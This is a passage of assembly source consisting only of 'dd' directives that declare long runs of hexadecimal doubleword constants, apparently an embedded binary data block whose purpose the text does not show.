0FFB08090h, 3259408Fh dd 73268DDDh, 7B00E281h, 13309B4Dh, 0C15EA4Eh, 4648ECA5h dd 4503B26Eh, 0C0697762h, 871EB882h, 0A4ED1E26h, 34CA40E5h dd 0C81144F4h, 3867DE00h, 0AF3354CCh, 78E3C49h, 0AB890070h dd 0C7069368h, 5000E1C4h, 29C84EF9h, 0E2BF049h, 95D6F3B0h dd 0C64488A0h, 5000253Ah, 0B3C53DA4h, 0CD5377h, 0A50BEF9Ah dd 0F946EC5Eh, 243A2500h, 21BE7087h, 5AFA00CCh, 0A0F2C32Ch dd 0EB188E3Bh, 28517986h, 6A6B016Ch, 89200A5Bh, 0B6408040h dd 3541D6BFh, 0A66701F5h, 8C784743h, 0B9BC2061h, 0BC5A9900h dd 9C3AAFADh, 0C34905F0h, 0C0DAD0A4h, 74B53351h, 9F5BF53Eh dd 85806999h, 18483B49h, 0A57C1F29h, 357A4122h, 0E88EE06Bh dd 949010A3h, 0E21E3B90h, 5C9CBC9Fh, 62F0F141h, 5BD09AB5h dd 389700C8h, 0E69CB8A9h, 33009DE2h, 7D6228A6h, 36FC326h dd 0B8CBAFB5h, 22E068D0h, 200A684h, 3D3CF641h, 1440AAAh dd 74AB8DA7h, 0E4633A8Fh, 3E00FC79h, 0CE650BA5h, 0CC65Eh dd 57AF1416h, 0FFF85C24h, 37A86300h, 0A03F619Ah, 655403E1h dd 705E6FE7h, 0E08073A1h, 2500B140h, 7F68932h, 1FE4FD85h dd 808F2091h, 96FC473Ch, 3800BE57h, 365A74E6h, 44F1D1Eh dd 882C31A9h, 150809Ch, 0B6006D2Ah, 0F69BCCC1h, 10DE1Eh dd 0AF555DC6h, 725B2BD9h, 459C200h, 0C5A6578Eh, 0E48403EEh dd 56D4AF0Fh, 2D3B9E98h, 0B4D94703h, 98D3BABEh, 3D754EBFh dd 9480A271h, 0A4290DF7h, 0EF001715h, 28A3642Ch, 7B444Ah dd 4297D19Bh, 3D1A84C6h, 48C0E400h, 0FAED381Dh, 0E9EE00B1h dd 1ECED512h, 9B00A76Ah, 71E1BD1Bh, 7A6ABAEh, 633EBAF9h dd 0F318207Bh, 0F10089CFh, 2E021FDh, 1EC7BF0Dh, 7FA1147Dh dd 126AAE81h, 0CB517F3Ah, 0A4EFA9F8h, 7B0029EEh, 79D287D7h dd 0C4CD59h, 0A75B5181h, 840DBBD5h, 0D60CC204h, 2DC0777Ah dd 1FAC083h, 0E84C276Dh, 0DF592106h, 2A4E1190h, 893FDE7Ah dd 0F86808Fh, 77F25631h, 54CF009Ah, 0EF5F219Ch, 331DE778h dd 4D4071D0h, 9B20B5AAh, 0EE01F22h, 0B9B8C059h, 5DB7AB3Dh dd 242CA100h, 66BFB027h, 68BD0067h, 585E40C1h, 1600F7A9h dd 0D2319326h, 7A8869Fh, 5C8C80DBh, 0DF03307Bh, 0A20304E3h dd 837ED076h, 0B4A1E821h, 0EC740E25h, 3C279B0h, 80FDE561h dd 4EC5DC18h, 0A012EAD1h, 8106C6h, 53FC6046h, 0DACACC7Eh dd 281C0C3Ch, 3800E8D8h, 2043EACEh, 900D57h, 7B952BAAh dd 31DABCBEh, 0E590A0Fh, 6067E069h, 1DFA28F8h, 80150436h dd 61907CF1h, 2000D838h, 6007F53Dh, 0FF0AAFEh, 88355230h dd 12AECB40h, 300B3E3h, 84920B02h, 1EF0C7h, 95B6E538h dd 6B1D37C2h, 2CBE773Ah, 0B407126Ah, 0B7900146h, 0E94E05h dd 8F539951h, 0FDBFA163h, 0F8302500h, 0AA6829D8h, 1F4F7183h dd 80740F12h, 147FFF4Bh, 48006324h, 0E0D1442Ch, 1823429Ah dd 0F810B1B5h, 36025261h, 0D49D5B67h, 2EDCC0ABh, 0BA9800D5h dd 0A17D1BE4h, 201D3105h, 97801611h, 92F5ECC2h, 0B206077Ch dd 4009EE57h, 6269F6DDh, 0F86E1A0Fh, 593F607Dh, 6A14E3h dd 0DB70F49Bh, 91413352h, 8A302271h, 97F82164h, 3AC92F4h dd 0CEAB82DBh, 2A08365h, 147C9095h, 643F697Bh, 0FCE41815h dd 0F50DB10h, 0C5C939F7h, 0EE00CAAEh, 0B83D6354h, 0DFB2BB05h dd 2C026AF8h, 60A88B69h, 600891B3h, 90FF7846h, 84A8AAE2h dd 0F5008A2Ah, 47A89420h, 833209h, 0F87EB419h, 5FBAEC76h dd 58006898h, 33BE2E9h, 0DA0620h, 24461714h, 0FA93803Eh dd 0CA51AB60h, 5F08F1h, 0DEDDC9A9h, 0E7C8A28Fh, 0EE596600h dd 0FD1769CBh, 0B21E0019h, 0EFC69213h, 22488E42h, 7EC1CE9h dd 9D8AE100h, 77263761h, 0C7B103A5h, 0FC07574h, 28093E00h dd 35A4BF5Bh, 98C503D5h, 6ADABBC8h, 0C29496C8h, 8D9A4150h dd 42339F00h, 4916E86h, 60400082h, 0CEA118Eh, 7C060506h dd 0DFBEA1D1h, 0F5A00D0h, 8533FDBDh, 200004E1h, 15A52FE3h dd 18561138h, 0E8A9908Eh, 1454C979h, 2400CEA8h, 0BED86B4Eh dd 0FF1593h, 1AF54A71h, 0EE2BDFE5h, 8DED0201h, 655BFC20h dd 4FCACC40h, 459DE93h, 80B2C221h, 854A3C73h, 0E200EFFAh dd 0F48450FCh, 7B11DA43h, 314F0372h, 7D9A5B49h, 273292E0h dd 6C5A5D0Ah, 218FF85Ch, 506EDAh, 75BEF88Eh, 0B5D40606h dd 0B1AC4EE3h, 571D5618h, 3E06731h, 4FB9020Ch, 20074D54h dd 23331DD4h, 0E9D10069h, 1EF5E7B7h, 0BA9FCA43h, 72896F00h dd 3B44E61Bh, 0A3083D01h, 0AAC4B935h, 14206A30h, 945A026Fh dd 0DA4912h, 89C385Ch, 81582FEAh, 3FB1007Dh, 0DA45B9D2h dd 0D4C0086h, 1EA7719h, 0B6505192h, 71000CC8h, 2167BEFBh dd 617CCB42h, 5617A0ECh, 3861818Ah, 538FF086h, 5506CC41h dd 0E8FB30h, 1656734Fh, 173EDA85h, 68048100h, 0B331452Ch dd 87B70263h, 3396F5CCh, 0C8FC63F5h, 3B1C5E8Dh, 10806CFBh dd 5D90A661h, 0CF010467h, 77E57BB9h, 0B030EE62h, 0B0F70025h dd 2871688h, 0ECEA4F51h, 0DCB79605h, 0AAC0C895h, 38B3D5h dd 3B355655h, 0AB516A8Ah, 8B7BC01Eh, 93D90AC0h, 9792440Dh dd 4907F350h, 0E32AA0BBh, 3A9135C1h, 1214BF8h, 0EEEAB847h dd 80501B98h, 0C47193B8h, 94BBF3h, 29651D42h, 9D3319D1h dd 779A4600h, 0D783598h, 1F7AEC3Fh, 0C7762E59h, 74FA7B37h dd 9CC03E2h, 3E39884Bh, 69620345h, 0B4C0898Fh, 8014DEA9h dd 4FF84CD1h, 0CFB639h, 328C7F64h, 3A42125Ch, 0FCA4BC54h dd 9884A830h, 89DEB3h, 0D4E4C8C7h, 0D5378323h, 8513F500h dd 86B7932Bh, 7D36006Fh, 9E9D6A3Ch, 240F45F0h, 8F49AE0Ah dd 2D003FDBh, 0B039F68Eh, 7A72DFh, 4113CC66h, 1A85EDF3h dd 0A9A73600h, 90C84795h, 0FA7D0064h, 68B59BFFh, 0CB00553Fh dd 24E3A1F1h, 0A1F90BDh, 0D9EC03B2h, 321B7820h, 5903E243h dd 7161E9FCh, 8DB05ED8h, 0C2DBC00h, 780D90C0h, 42A11D91h dd 830B4330h, 480450A2h, 0BD4C60A5h, 0C736C00h, 4F1E8882h dd 2C0F8436h, 1C3EC021h, 0FE5E5Ch, 0DA1F3383h, 96E71DA4h dd 0E3EE3718h, 1BF33608h dd 58AD41D1h, 73D4FD8h, 2FFBE901h, 9756ACCBh, 361FC4h dd 0B5CAEC29h, 704503C4h, 1C2BE01Fh, 2A8D501h, 0F9CF92CDh dd 0C980C94Eh, 416DA99Ch, 1800904Bh, 1D74BD5Ah, 30C32BA5h dd 70B8B01Ah, 6501F3AEh, 740E39Ah, 0B1FD4C11h, 4CA8058h dd 0E4BFBD27h, 0D296808h, 193C0480h, 0E6DDCCF0h, 81FF4001h dd 627F122Dh, 0D4E7F040h, 0BCBB00A0h, 3C1171C4h, 0CA014E95h dd 455051F9h, 0A0406A0Dh, 407BCDB2h, 3918A34Bh, 0FB30AA15h dd 61DA2462h, 0B2100024h, 70364883h, 3827A90Ah, 0C27020D7h dd 4D5B21ADh, 98415800h, 7CA55C6Dh, 69873F3Dh, 531523BFh dd 0CD1FCC47h, 0C0BE5C71h, 768F745Ah, 19002AE4h, 0A6172B2Dh dd 72B469h, 96DF253Fh, 0DBB3BBF1h, 0E93D7B00h, 5021D02Ch dd 0FA3418AAh, 8BCF0848h, 89E14203h, 0B037EE6Fh, 1F6943h dd 0C6D10CB7h, 1A876EBDh, 2EA4DE00h, 0ADEF4C05h, 0C541076Ah dd 0B253620Fh, 1EE37C8Dh, 29B85D0h, 0B272FE00h, 5FD9485Ah dd 6A1F007Dh, 0A3C2DD89h, 4000E164h, 6F3C6DEFh, 1AC03Eh dd 0E8F2ED9Ch, 4CDC53B8h, 1EC8603Ch, 700CCD8h, 0AABCCDFBh dd 47041A9Ch, 46C03151h, 0B3006D9Dh, 0F796F43Ah, 3AD78475h dd 8A872080h, 401D0427h, 366403B1h, 0E48E6300h, 6FD13A2Dh dd 607E039Fh, 517D2FBh, 4D19C0B8h, 8EDC4B00h, 6CE7B5A8h dd 0FDDE3EE2h, 0D0B3CA87h, 4AB7C011h, 0E5001B9Fh, 6EAED47Ch dd 0DFC3E0BEh, 6B0A4F90h, 0F6E1DAA0h, 39003842h, 0D1C1A7F9h dd 619556h, 0F3162A06h, 78C067FDh, 133A5400h, 0BAE3F887h dd 48A00027h, 75CD9366h, 817AF71Bh, 826AD600h, 44C7C413h dd 0AEFF00E0h, 15A61E8Bh, 0A728B3F0h, 3700F435h, 718EED13h dd 0F434ABC9h, 0F5820008h, 365F9138h, 8760C29Bh, 0FB4B9818h dd 0BDEB0270h, 1BAAF415h, 6F8DA480h, 7500CC65h, 0CF452344h dd 295D2Ah, 6A1BC25Eh, 95B3BC98h, 89843400h, 0F02D8D37h dd 31F70070h, 0AC68C97Bh, 9400DF77h, 6CCA628Bh, 0DE28F3h dd 25342D3Eh, 0A0D1B40Bh, 510BE48h, 0D617466Dh, 35E33180h dd 5245003Fh, 3DDA78A6h, 9A00D0DEh, 9B8BB7EAh, 694620h dd 9D5E59Eh, 6E720440h, 0D2ACD900h, 8CBD083Ah, 3CE2006Ah dd 0E629572Ch, 8F00A009h, 0A423C42Bh, 9C5E15h, 5C6BE8A1h dd 0EB4643B3h, 0D7B7A601h, 98E52B13h, 28DC220h, 14B8D196h dd 5C41D832h, 11D3F455h, 0AC45B53Eh, 180EFF71h, 3CE44057h dd 778BA7Dh, 0F4F8CEEAh, 6C9E70DEh, 0EF247EE9h, 803EBC5Bh dd 0AC903AE1h, 75ABE779h, 66C001Bh, 10300DC7h, 0CC0EF2D6h dd 0F97A150h, 0BB65A086h, 72D1E73h, 0C86370B0h, 899FE335h dd 0CF7CFDC8h, 49625200h, 0C1308346h, 7426038Eh, 229EE80h dd 9A3685B8h, 4F0025ECh, 9905BDB9h, 1F885583h, 822C4057h dd 192B620Eh, 0D28D5060h, 5AF9A312h, 23945F00h, 2D0DE556h dd 0E3FC7377h, 1D28D800h, 58C69803h, 0D7006918h, 0C5AE959Ch dd 0D5095BF4h, 20459299h, 757950F4h, 0F4BFE09Ah, 0B0FA00C9h dd 0B6C8841Eh, 891EFD12h, 81C03191h, 0E0887A5Ch, 0CBF90BDCh dd 2582281Bh, 0D460CFB3h, 0FB00378Bh, 0FFE78147h, 388359h dd 0E3DE1B97h, 769589B9h, 24854Ch, 0FFC0355h, 77D8FF86h dd 457B00ADh, 0A4B169A0h, 40001B32h, 11C8AB71h, 0F8978h dd 2B9B75CFh, 7234B1E7h, 0D4A2D512h, 0A6CED207h, 5439D350h dd 0DF042h, 8E848211h, 8D221F70h, 7A90E100h, 0EA052A0Bh dd 25CD0058h, 0B247AC61h, 7009AA78h, 106E7D5h, 0EFF2CD7h dd 0E2BEA7C4h, 2D970016h, 78E0E4DBh, 36009CBBh, 0D461817Fh dd 5D5A60h, 7A49FECFh, 0FF04B963h, 88B1A600h, 53388684h dd 0D4790075h, 0E643F39Fh, 0A700D8BCh, 0F506137Ah, 782AFAB5h dd 797339CAh, 0BA3A3B03h, 7288ED96h, 0B900B552h, 31E56268h dd 762678C8h, 0EBF7BF8h, 7688575Dh, 0FF326A60h, 0F4009D3Bh dd 111C29B7h, 21462Bh, 176E5195h, 30E2936Ah, 3F5C5D58h dd 0A1A200B3h, 0CA01BF66h, 0D533CC1h, 802BCD9Dh, 7A2A41E5h dd 0E486C06h, 9810006Ah, 61EA3DF3h, 5EBD0C39h, 0F2968108h dd 94B97400h, 8E99F3D5h, 13790004h, 0DA54D98Fh, 620E0D3Fh dd 77BC2FAh, 0B340C10Ah, 0EE63F672h, 0EFE0003Ah, 70C3A5B7h dd 19F881F3h, 5E5CAAB8h, 2C1B006Ch, 981EAA84h, 8A3F0097h dd 0C68BD972h, 7C7259BAh, 622D3800h, 86F901ADh, 173100AEh dd 42BC9AC8h, 0DF00E45Ch, 27BF255Bh, 0D32963h, 0EBA74166h dd 21A8CED9h, 26559000h, 693AB88Bh, 681600C0h, 0FCF5B40Ch dd 4D75ADAAh, 8D059101h, 890822C6h, 711AD7F0h, 97A2006Fh dd 5D85DC5Ch, 1E002FAFh, 8F9F8AD8h, 0BF0E9h, 2067D721h dd 0F313E3B0h, 7B15E000h, 715B7C32h, 0B96F03E5h, 1FE44008h dd 4EB0F09Fh, 64012EDFh, 0B32203BBh, 5480DDECh, 0CFB4ED16h dd 3300544Ch, 0B347735h, 8520Fh, 0A66B5599h, 1FCAD87h dd 4C407301h, 0F6B3F3E7h, 7E5E2EE4h, 0D53203FFh, 0C546DC5Fh dd 0FB54F7E0h, 1CAEF002h, 0C3657DA0h, 68D5F026h, 4830B07Eh dd 0DE001028h, 7B6CB81Bh, 15FC323Ch, 3501EE7Bh, 72517EB6h dd 86E82726h, 434700D9h, 9E7BEC6Ch, 69B0CD35h, 0FC123400h dd 0B4BE2FDFh, 3F5500F3h, 67C96239h, 93014084h, 0EDDDFF73h dd 96C45C32h, 1AE6038Ch, 28A182B0h, 0FB9FD6F8h, 2009479h dd 55DB9D1Ch, 3D593AC2h, 0FF80838Dh, 0AE5DA2F6h, 6004082h dd 9B65AB9Fh, 0FFB8B3E1h, 0E26B63DCh, 68E68Ah, 44F6E83Fh dd 0B7160F10h, 0FECEFD01h, 22247C39h, 16BF04E0h, 1C20C4h dd 158F2F57h, 58009ADAh, 801219E2h, 1AD70BAh, 27FF3765h dd 0E45CCEE8h, 0F9036093h, 0E679C2C1h, 0AC3AB832h, 278200A6h dd 23477D24h, 530042DAh, 0AA1A8FBBh, 3F65079Ah, 0B0A79D6h dd 0F801CAh, 82F85DA5h, 5B001D4Ah, 0F978298Eh, 904F44h dd 0C19B1F16h, 13EBF0E6h, 4B111D00h, 81575595h, 1AD75C76h dd 452F100h, 5F176951h, 63A29F07h, 3006D0Eh, 1CB3A4B2h dd 708D45h, 0E4A87A73h, 20C01290h, 7DA7096Bh, 0A54000DDh dd 0B17A3D9Dh, 6A002CA0h, 2162854Bh, 901D53CBh, 390F00E0h dd 22076D56h, 9800DD0Eh, 4BBA05ACh, 0DC785F3h, 9D19D64Eh dd 1F808040h, 0EB56FFD9h, 50EC7E0Bh, 30FB0C26h, 0B348701Dh dd 6200C84Fh, 9DF79872h, 0F1F9A5h, 1993CF3Ch, 0F4AF7C23h dd 6E093500h, 4E3B0AD2h, 0C2E452h, 0F67917C8h, 0AC8C0E88h dd 26FC3Dh, 973D3038h, 78E53h, 0E17D1763h, 2E922720h, 243F770Eh dd 74B2A01Dh, 720F88h, 58571630h, 0F1100212h, 6FBF8B00h dd 0E533A440h, 0A9E634h, 0AB587767h, 931CC3ECh, 0DDC238DCh dd 0E01AC996h, 73A6D271h, 0FD4A00FAh, 0D1432956h, 0A003AD53h dd 60354FE7h, 0F49ED819h, 0FA820230h, 5CD7153Ch, 0C71FC484h dd 9025379Ah, 56E2FF51h, 32336100h, 0C64CE18Fh, 0A3940615h dd 3016FD70h, 0BE00C1ECh, 8A8C9DB7h, 0FD6A13Ch, 0FAE0D32h dd 0DF1F9E20h, 0AA507495h, 100088FCh, 27064CA3h, 2F08B3h dd 163CD496h, 6E83133Fh, 7A0112FEh, 0F6EFEDB4h, 0F840233Bh dd 7ABC211Fh, 3D4316A1h, 0B9CE04E6h, 0DA5C90D2h, 5F00BB3Ch dd 0FAEF5483h, 9089F9CFh, 201F604Dh, 8A881BBAh, 84317D00h dd 93A0E648h, 0F6F403D9h, 0E47CC0A5h, 52A940F7h, 0AD7CD0FBh dd 50DB7400h, 6130D8BDh, 3BAC0259h, 6F37DE63h, 0BAE3D460h dd 9BEB0200h dd 7469B28Ch, 527C0FE2h, 4720A3E4h, 0E83D461Bh, 810DE000h dd 0B6C6CDC5h, 0C3D0E59Eh, 0AFA11E1Dh, 70641A8h, 8AB83D67h dd 4ABD619h, 804380FDh, 0F2F91798h, 0DC370600h, 0B94EBBF0h dd 23AA0DBEh, 0C431D471h, 0B8CF1E51h, 67081904h, 2B0615F0h dd 0C46829E8h, 0B60C3ADCh, 0FD504307h, 0BB6FCD00h, 8FA8EBF5h dd 0D42D0069h, 6446EFF3h, 0CA0C0A9h, 502090EDh, 0E52F48E8h dd 0D7091962h, 674F1881h, 8CB111F7h, 53103408h, 150CA9C6h dd 0A219474Dh, 31F42631h, 22EAD859h, 0C820724h, 3082DF3Dh dd 2485D52Ah, 6F5445C1h, 4D3C0A8Ah, 375B8A18h, 18251560h dd 0CD61014h, 24DF2915h, 6CA261E2h, 5482A41Dh, 0A110148Eh dd 0CBF04447h, 5105A42h, 840A8ADEh, 30439165h, 14C50C4Bh dd 244A7519h, 32AFCC26h, 2420B961h, 664DEA91h, 493E19FDh dd 7DCE18C5h, 1972480Ch, 78D6028Ah, 0BCD911C8h, 9C050048h dd 0EA20F707h, 390290Fh, 7024D95h, 855B7F3Fh, 0F7102009h dd 0FF001AB4h, 0D8E1B767h, 922BEE0Dh, 51260C24h, 4AD138DCh dd 10F2CE24h, 5A774182h, 0A0B080C5h, 98F6B914h, 6B1F003Fh dd 0E5836DCAh, 706BABFCh, 697100A1h, 607B3611h, 0B348A0A6h dd 0BC3D4619h, 9568E609h, 5C3501A8h, 86DDAD50h, 3088812Ch dd 0BE370E32h, 0DE801C4Ah, 0D4E3FB8Ch, 24498FE8h, 33D60050h dd 0BB9A01D3h, 389E189Bh, 0AD465034h, 0B01D35E6h, 3314AFDEh dd 3CBC1E8Ch, 0D50C9200h, 1DE521ABh, 0D41DB28Eh, 677A919Ch dd 404FD94Ch, 0AC709ED1h, 5C1DC101h, 0EED5BDEBh, 0A0A89E70h dd 14157114h, 34A632B7h, 2A422F83h, 7F4C1FC8h, 0E48083Eh dd 0C0204967h, 0F0F4C3C1h, 5145007Bh, 65E3D9D6h, 3D03371Bh dd 0C0AB7866h, 802ACABFh, 0B6FF3FB8h, 46B8C5E9h, 0D09C0135h dd 397BB4h, 0E4532F60h, 33F60127h, 2945C1DFh, 0B698A1Ch dd 5E01828Fh, 30276FF1h, 522F198Ah, 0F6980168h, 4B901B8Ch dd 11AC0E40h, 0B0C88050h, 3D42906h, 0EA433ED8h, 49D81C9Ch dd 2E0244A7h, 11D3E272h, 469881AFh, 39E0E760h, 2AC078F1h dd 9F493BEh, 0C18C28D4h, 16ED4400h, 0F603CE1Ch, 502A1BA4h dd 1C1876C7h, 33EFDC0h, 49ADE33h, 794BF816h, 181B0C4Ch dd 0B32B403Eh, 0D262FF07h, 0DD61EF61h, 31AC1A12h, 84C61560h dd 0EDF68280h, 0BB30BEC4h, 0E7A990B3h, 64C7926h, 0FFF483BFh dd 1B0018A2h, 0AE39D9E0h, 24BBB9A4h, 637CBCABh, 0D9F25446h dd 0AD119440h, 6883CB1Eh, 0B770B502h, 85AC42E9h, 0D4436020h dd 5050F546h, 0C4D68084h, 3D458A1h, 8BF9EDh, 0BDF63940h dd 0B0BB46DFh, 0C8D01139h, 0AE1371FCh, 180362CCh, 7C42028h dd 0A4602A90h, 0ADC597h, 0DA462B80h, 1530120Fh, 0FF6038DFh dd 0FC2AE259h, 0D74F0026h, 0A88044DEh, 122CBCC6h, 46804CACh dd 0B048380Dh, 0B7E713D2h, 890837EDh, 9767DCA0h, 3F1235B6h dd 0D4036C0Fh, 0C49EED0Dh, 4436480h, 0FAC8A846h, 0D2DD3A62h dd 40D8E9E3h, 8F2A7007h, 0F335E7E3h, 0AEBC3070h, 2D9D23F1h dd 0C854EB0Ah, 0A50D128h, 4890C3C4h, 100C4C26h, 25F19781h dd 2CEC09B5h, 75AD004Eh, 9913412Eh, 0BD26A8D2h, 0BE809C1Ch dd 4906FED8h, 378E4CF0h, 30B33912h, 0EEEDF1DCh, 0EA31BD00h dd 45D87F07h, 0A8C4A1BFh, 0A2C99450h, 88BB6032h, 6EF7D105h dd 524A4102h, 84302B6Ah, 24CDA2A0h, 6D1A8F8h, 0AE59E9ADh dd 250618C1h, 0D90CC9E8h, 0D08400D8h, 46F5C68Eh, 910443CAh dd 283644B5h, 59048CCEh, 8E658h, 0E1DEF524h, 0D61E2431h dd 65FCE050h, 0D3EB25Ch, 0B34854A5h, 610FC303h, 0EBD7AE6h dd 4AF5F460h, 0CE691B20h, 4418A211h, 0B7F06FD9h, 196B1C7Ch dd 0D87E25CFh, 62221100h, 0B3DD900Eh, 61F88048h, 3E91290Ch dd 676A6E05h, 0EC41ED7Ch, 0DA08CAC0h, 3353308Ah, 81B41058h dd 4CF00D01h, 0C39CE99Dh, 285913B0h, 0C501009h, 3E40A0CBh dd 24C562D3h, 0ACCCFA36h, 0D58804B8h, 608800Fh, 0CD240E89h dd 0FC0030E0h, 0EB1FB56Ah, 3CC92633h, 0D0048620h, 350931DAh dd 781B0Ah, 68A39400h, 94225948h, 904F7864h, 1BB62734h dd 0A209A02h, 0AE23C2EFh, 0AAA280D0h, 63BADD9h, 86B0C96Bh dd 0D50599B8h, 675761Dh, 1A250808h, 82F886Dh, 0E8BA8251h dd 3F98404Ah, 0BC1650F9h, 4DAE8EEh, 0BAA20E61h, 0C123001Ah dd 7BB72A4Ah, 174C007Ah, 48135B4Dh, 0B3093806h, 0DC425014h dd 0F7923D19h, 7C288AA0h, 0A86DAF09h, 0D950489Eh, 0AD841229h dd 73008115h, 3903D233h, 0A209D125h, 0D4B0BC50h, 0C070908Ah dd 704A6C90h, 74B845E8h, 1B004173h, 0D3B9F32Bh, 338F4E4h dd 89AF97FBh, 8ACC2003h, 12581420h, 33509EC8h, 82EE087Ch dd 0D0A03EC9h, 440E4501h, 3963AA52h, 3C4894BAh, 9321703h dd 0C800AEECh, 705AA4A9h, 3077355Eh, 9A5030FCh, 3800ACB0h dd 1B6D6F1Ah, 3C8FC9CAh, 39031371h, 2B073155h, 67A5A2C0h dd 3038C12Ah, 24C6AE26h, 4822868Ah, 28807100h, 808787Fh dd 92A55E9Ah, 0CD904380h, 0FA04B017h, 9B41EDFh, 2630C61Fh dd 3D3A4102h, 218780F6h, 9ADA77DCh, 4BEA7469h, 7B8C00A2h dd 0F606D6F9h, 0D6A17324h, 9C8003Ch, 66A802BFh, 0A213151Ah dd 2300A4B5h, 0CE41B712h, 8B243272h, 763A04F1h, 0E202B892h dd 0D1F9DE3Eh, 83C0C8EDh, 30C400ADh, 0C65A74E8h, 56008828h dd 62FBC24h, 2ED63268h, 12589D69h, 0B1041B3h, 0FCE17057h dd 21ECDEB9h, 1A4DE23Dh, 5D20A352h, 35754BC0h, 0D0B7A801h dd 0D9E419E8h, 6082D8D5h, 2F23B9C6h, 6104384Bh, 0BCA2E617h dd 1086F440h, 208C6A42h, 3100A2A9h, 686B77C5h, 0EF6713h dd 0AF44CB8Fh, 0F771EC8Ch, 0EB72A800h, 24EC4B7h, 2D07069h dd 9D642FE8h, 64A0EDCAh, 50FF7155h, 60C2DF21h, 45440D06h dd 74007972h, 65989596h, 0B0D81B1Eh, 0EF311A40h, 901758E9h dd 67A6ED88h, 0DEA420C9h, 0DD027425h, 5A4CB7FBh, 0C147241h dd 8E229121h, 4F3F69D0h, 31387D77h, 0FCB38043h, 9CD8939Bh dd 522800C5h, 2A2E8EADh, 0D6070FBDh, 4CB4AEEAh, 80F3BA93h dd 0A0D756h, 0F17AE242h, 0C8ED45C6h, 8F392100h, 0DC13FCEh dd 2DA60071h, 35BB6B7Ah, 2E73C707h, 3495E300h, 5DD28C2Ch dd 392D05FBh, 0C0DAD783h, 0CF3C7263h, 0E16D9C00h, 2D85A17Dh dd 6FAC00B6h, 5AB76811h, 0C5001C30h, 57566CF5h, 0F42471h dd 0D4B82E5h, 0CAE992AEh, 7E800E00h, 0B290594Ah, 48FB0099h dd 0B1D403C2h, 96037DDEh, 0FB5EF05h, 95FEF898h, 2668006Ch dd 66069F1Fh, 0AC005CE3h, 0C33076CEh, 1B194624h, 892C6AFh dd 9159C0E4h, 570032EBh, 0B0D1BF9Bh, 1283C10h, 9498B8AEh dd 8020AB7Bh, 0A6092C38h, 0F1310296h, 0A3E8B4D5h, 59AC0C63h dd 0C1687386h, 9345043Fh, 63001B60h, 584D9509h, 105B0F80h dd 805F1948h, 0BD300C47h, 88C3B98Ch, 0E0058051h, 0F65CDE8Eh dd 1B3B001Fh, 0FC2AEDE5h, 9F067A69h, 2CB65D44h, 0DD30030h dd 0B92581D9h, 0E61DF126h, 32C00994h, 0CCE43A4Dh, 2EE22CB2h dd 0A99C00D5h, 0A560257h, 96719B60h, 77D209Fh, 63BE4623h dd 301616A9h, 0FA5B7000h, 0CAF893E7h, 564C0386h, 1E2FCEB1h dd 0FC256BC0h, 0CB00AF73h, 0A32EFA90h, 3073F2C9h, 4D108468h dd 1174F6C4h, 7B3E750Ch, 3FC6485Ch, 0B9AB9E83h, 5AC10120h dd 48EAC2BAh, 0B9532618h, 0DE586114h, 61856F2h, 127AC903h dd 2BE052C3h, 0BA302B08h dd 66800923h, 59176194h, 0AEB97413h, 0D670C84Ch, 46038764h dd 0F9F84561h, 8CAB25Fh, 45EF382Ah, 1C21E517h, 305C46A6h dd 523823BEh, 54F8607h, 0E42F99F0h, 0BD03157Dh, 0EAA19C02h dd 418409C0h, 0AF58FE6h, 0B5168BAh, 0D5C631D2h, 3019FC34h dd 8A2930AEh, 269C64E9h, 0A018FC14h, 2A6DB05Ah, 72CC8BC2h dd 144A57Fh, 0CFC30F76h, 3F661857h, 7994C00Dh, 0B9158027h dd 3314B05Eh, 70E6B451h, 24C35D28h, 3F570A4Ch, 0E9A05546h dd 5968200Ch, 0F57948C4h, 4838101Ah, 5252A9ABh, 0E6A60C24h dd 403D8895h, 0B872170Ch, 6F303919h, 2A60A808h, 22D2982h dd 6C3DC150h, 298618E5h, 0CCA00620h, 0A3471388h, 0F767E60Ch dd 80C428B8h, 58800819h, 0CD3DF859h, 0E1E096E8h, 4803D237h dd 1D907FAAh, 1899175Eh, 0B3D4101Bh, 0B9437D15h, 719DCE54h dd 10A5C6C3h, 962C501Dh, 0AC46390Ah, 8890790Ch, 4E0832B9h dd 0B0A43318h, 0E358825Dh, 7311B09Ch, 2686E721h, 0D9314092h dd 4DF9D03Ch, 7CF4AC53h, 1A142408h, 0B015737Ch, 0C2FC1C35h dd 834F7706h, 2B345684h, 8244B990h, 74A94E9Bh, 4A36618h dd 0C28EB1F5h, 6170CE8Dh, 0E1461D70h, 40F0512h, 0D0823CAEh dd 83886F2Eh, 4DF09BC4h, 0B840AFD2h, 0EEEA2821h, 58042A47h dd 0D0631DB8h, 5FDD26BCh, 648EAC2Bh, 2823B301h, 508C49CEh dd 0AEC08006h, 911F783Ch, 3AC08D4Eh, 0E6E9AD98h, 66630C3h dd 18EA829h, 4B07879Ah, 9624C72Ah, 9B2C78D0h, 0C58AEA9h dd 2209ADD8h, 8B3CA629h, 5ECE9174h, 0A3F895C3h, 0DB8647CCh dd 3C709BE5h, 447638EBh, 503E639h, 336E9B88h, 8FAEA231h dd 1AB920CCh, 0D0FBF8h, 4F588393h, 18AB6048h, 3DDDC03h dd 0A0A61E1Fh, 0E3DFF5Fh, 42B4F091h, 6BBA1082h, 8D282090h dd 5740B3E6h, 0FCED02B8h, 8F6EDF03h, 1938B606h, 484374B0h dd 0FD204CB5h, 351D6508h, 46D8064Bh, 348C80E3h, 0CF94170Ch dd 378A960h, 5F7A83B8h, 70A5D1C8h, 5523DC18h, 0F7F55601h dd 923198A7h, 69B3B600h, 3838BC31h, 0AB1CB83Fh, 0C84BAE07h dd 38635A9Ch, 7C69C0E3h, 56BD7491h, 0EA03183Ch, 0F972781Dh dd 6E58681Ch, 499C6942h, 0C514906Ch, 236B3742h, 0C024AA59h dd 6544E372h, 7E2EC4A4h, 0DF0D57A9h, 1818B87Ch, 464C1BCDh dd 50F8E194h, 0FF297A78h, 358714AFh, 79AC9F87h, 8DE232D8h dd 50984C58h, 8910CBBDh, 7802FF21h, 2F4058Ch, 9DE828B3h dd 41673D93h, 2AC098A8h, 74D3428Eh, 0C6A2767Eh, 9FA8238h dd 8AE40903h, 0A2312BF0h, 0E63CB090h, 0DFDC1857h, 0C5385058h dd 3023834Ch, 0C162584Dh, 708A0EA9h, 0D083E333h, 8BC4961Ch dd 0D9A20344h, 2F39DC5h, 0ED0B58C0h, 14B0BF7Ah, 0BC1045EFh dd 287A99EBh, 29B06A21h, 40509555h, 1E203802h, 0CC5FB128h dd 0F045CA31h, 97E1FD1Bh, 8C05CC4Ah, 5F26052Dh, 0AD0CC090h dd 5C148507h, 69109C0Eh, 98308472h, 